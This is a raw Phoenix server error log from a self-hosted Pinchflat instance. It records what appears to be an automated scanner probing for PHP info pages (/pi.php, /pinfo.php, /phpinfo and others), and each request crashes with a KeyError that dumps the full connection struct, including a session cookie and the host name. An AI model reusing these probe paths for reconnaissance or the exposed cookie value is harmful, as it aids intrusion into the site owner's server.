#PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/i.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 223, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /i (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/i.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 223, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.ne (truncated) 02:10:24.090 [info] GET /pi.php 02:10:24.091 [debug] QUERY OK source="settings" db=0.2ms idle=131.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:24.091 [debug] QUERY OK source="settings" db=0.1ms idle=121.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:24.091 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:24.091 [error] #PID<0.3528.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 224) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /pi.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /pi (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/pi.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 224, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3528.0>, params: %{}, path_info: ["pi"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/pi.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7Cvx5i6o95oAATfB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/pi.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 224, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /pi (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/pi.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 224, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db1 (truncated) 02:10:24.155 [info] GET /pinfo.php 02:10:24.156 [debug] QUERY OK source="settings" db=0.2ms idle=185.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:24.156 [debug] QUERY OK source="settings" db=0.1ms idle=130.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:24.156 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:24.156 [error] #PID<0.3529.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 225) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /pinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /pinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/pinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 225, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3529.0>, params: %{}, path_info: ["pinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/pinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7C_VznkbCogAATgB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/pinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 225, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /pinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/pinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 225, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, h (truncated) 02:10:24.216 [info] GET /test.php 02:10:24.216 [debug] QUERY OK source="settings" db=0.2ms idle=189.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:24.216 [debug] QUERY OK source="settings" db=0.1ms idle=125.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:24.216 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:24.217 [error] #PID<0.3530.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 226) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /test.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 226, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3530.0>, params: %{}, path_info: ["test"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/test.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7DNwI8qJg7gAAThB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 226, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 226, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pi (truncated) 02:10:24.271 [info] GET /phpinfo 02:10:24.272 [debug] QUERY OK source="settings" db=0.2ms idle=180.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:24.272 [debug] QUERY OK source="settings" db=0.0ms idle=115.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", 